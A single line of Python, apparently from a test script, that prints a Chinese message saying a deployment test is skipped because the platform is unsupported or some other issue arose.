        print("跳过部署测试（平台不支持或其他问题）")